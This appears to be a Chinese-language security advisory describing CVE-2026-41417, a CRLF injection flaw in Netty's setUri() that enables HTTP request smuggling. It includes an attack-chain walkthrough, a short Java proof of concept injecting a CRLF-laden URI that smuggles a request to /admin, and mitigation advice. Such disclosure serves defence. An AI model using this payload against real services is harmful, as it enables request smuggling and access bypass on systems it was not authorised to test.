IPBUF安全漏洞报告
English
CVE-2026-41417 CVSS 5.3 中危

CVE-2026-41417 Netty请求走私漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-41417
漏洞类型
CRLF注入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Netty

相关标签

CRLF注入请求走私NettyCVE-2026-41417HTTP协议安全

漏洞概述

Netty框架存在安全漏洞,由于`setUri()`方法未对URI中的CRLF字符进行验证,攻击者可利用此缺陷注入恶意请求头或请求体,导致HTTP请求走私或RTSP请求注入,破坏服务器解析逻辑。

技术细节

Netty的`DefaultHttpRequest`构造函数在初始化阶段会校验URI中的CRLF(回车换行)和空白字符,以防止请求行拆分攻击。然而,该框架在对象创建后提供的`setUri()`方法中并未实施同等严格的安全校验。当应用程序的业务逻辑允许用户输入直接调用`setUri()`修改URI时,攻击者可传入包含`
`的恶意字符串。随后,`HttpRequestEncoder`或`RtspEncoder`在序列化请求时,会将此恶意URI原样写入请求行。这导致HTTP请求结构被破坏,允许攻击者在原始请求中注入伪造的头部或追加完整的HTTP请求。这种利用方式可绕过安全检查,实施HTTP请求走私(Request Smuggling)或RTSP请求注入,影响后端服务器的正常请求解析与响应处理。

攻击链分析

STEP 1
1
攻击者构造包含恶意CRLF字符的输入,发送给使用Netty的应用程序接口。
STEP 2
2
应用程序接收输入,创建一个初始合法的`DefaultHttpRequest`对象。
STEP 3
3
应用程序逻辑调用`setUri()`方法,将未经充分清洗的恶意输入赋值给请求对象的URI。
STEP 4
4
由于`setUri()`缺少校验,CRLF字符被保留。`HttpRequestEncoder`将请求序列化发送给后端。
STEP 5
5
后端服务器解析被篡改的HTTP请求流,将注入的内容视为新的请求或头部,导致请求走私或缓存投毒。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpVersion; public class NettyCRLFPoC { public static void main(String[] args) { // Step 1: Create a valid legitimate request object DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/normal/path" ); // Step 2: Use setUri() to bypass the constructor's validation. // Injecting CRLF characters to split the request line and add a fake header. String maliciousUri = "/normal/path\r\nX-Injected-Header: malicious_value\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n"; request.setUri(maliciousUri); // Step 3: When this request is encoded by HttpRequestEncoder, // it will output the split line, potentially smuggling the second request. System.out.println("Request URI set to: " + request.uri()); } }

影响范围

Netty 4.1.133.Final之前版本
Netty 4.2.13.Final之前版本

防御指南

临时缓解措施
若无法立即升级,应在代码层面实施严格的输入过滤。在调用`setUri()`之前,务必检查并移除URI字符串中的所有回车符(\r)、换行符(\n)及其他控制字符,确保URI格式的合法性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表